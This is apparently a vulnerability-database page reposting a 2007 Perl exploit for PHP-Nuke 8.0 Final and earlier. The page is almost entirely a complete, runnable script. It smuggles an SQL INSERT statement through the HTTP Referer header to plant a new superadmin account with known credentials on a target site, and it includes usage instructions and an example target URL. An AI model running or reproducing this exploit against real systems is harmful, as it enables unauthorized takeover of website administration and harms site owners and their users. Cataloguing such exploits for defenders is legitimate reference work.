Lucene search
K

PHP-Nuke <= 8.0 Final (INSERT) Remote SQL Injection Exploit

🗓️ 20 Feb 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 9 Views

Remote SQL injection exploit for PHP-Nuke <= 8.0 Final version, allowing insertion of new superadmin with login credentials

Code

                                                #!/usr/bin/perl 
#0day exploit for PHP-nuke &lt;=8.0 Final
#Sql injection attack in INSERT syntax
#version for every base(PostgreSQL,mssql...) except MySQL base
#Coded by:Maciej `krasza` Kukla[[email protected]]
#Screenshot:
#0day exploit for PHP-nuke &lt;=8.0 Final
#Sql injection attack in INSERT syntax
#version for every base(PostgreSQL,mssql...) except MySQL base
#Coded by:Maciej `krasza` Kukla[[email protected]]
#
#[+]I registered new superadmin
#[+]You can login at http://blackshell.pl/~krasza/nuke/html/index.php 
#[+]Login:krasza
#[+]Password:krasza
#[+]Exploit successed
use strict;
use warnings;
use LWP;
my $adres=shift or help();
my $ua = LWP::UserAgent-&gt;new;
my $zadanie = HTTP::Request-&gt;new(GET =&gt; $adres);
my ($respone,$referer);
banner();
	$referer=&quot;http://www.krasza.int.pl');INSERT INTO `nuke_authors` VALUES ('krasza', 'God', 'http://www.krasza.int.pl', 'krasza\@gmail.com', '61af1f6e572d7fe3a72f54a6ac53830e', '0', '1', '&quot;;
	$zadanie-&gt;referer($referer);
	$respone=$ua-&gt;request($zadanie);
	$respone-&gt;is_success or die &quot;$adres : &quot;,$respone-&gt;message,&quot;\n&quot;;
	print &quot;[+]I registered new superadmin\n&quot;;
	print &quot;[+]You can login at $adres \n&quot;;
	print &quot;[+]Login:krasza\n&quot;;
	print &quot;[+]Password:krasza\n&quot;;
	print &quot;[+]Exploit successed\n&quot;;
sub banner{
	print &quot;0day exploit for PHP-nuke &lt;=8.0 Final\n&quot;;
        print &quot;Sql injection attack in INSERT syntax\n&quot;;
	print &quot;version for every base(PostgreSQL,mssql...) except MySQL base\n&quot;;
        print &quot;Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n\n&quot;;
}
sub help{
	print &quot;0day exploit for PHP-nuke &lt;=8.0 Final\n&quot;;
	print &quot;Sql injection attack in INSERT syntax\n&quot;;
	print &quot;version for every base(PostgreSQL,mssql...) except MySQL base\n&quot;;
	print &quot;Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n&quot;;
	print &quot;Use:\n&quot;;
	print &quot;\tperl exploit.pl [url]\n&quot;;
	print &quot;\t[url]-vicitim webpage with index.php\n&quot;;
	print &quot;Example:\n&quot;;
	print &quot;\tperl exploit.pl http://phpnuke.org/index.php\n&quot;;
	exit(0);
}

# milw0rm.com [2007-02-20]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Feb 2007 00:00Current
7.1High risk
Vulners AI Score7.1
9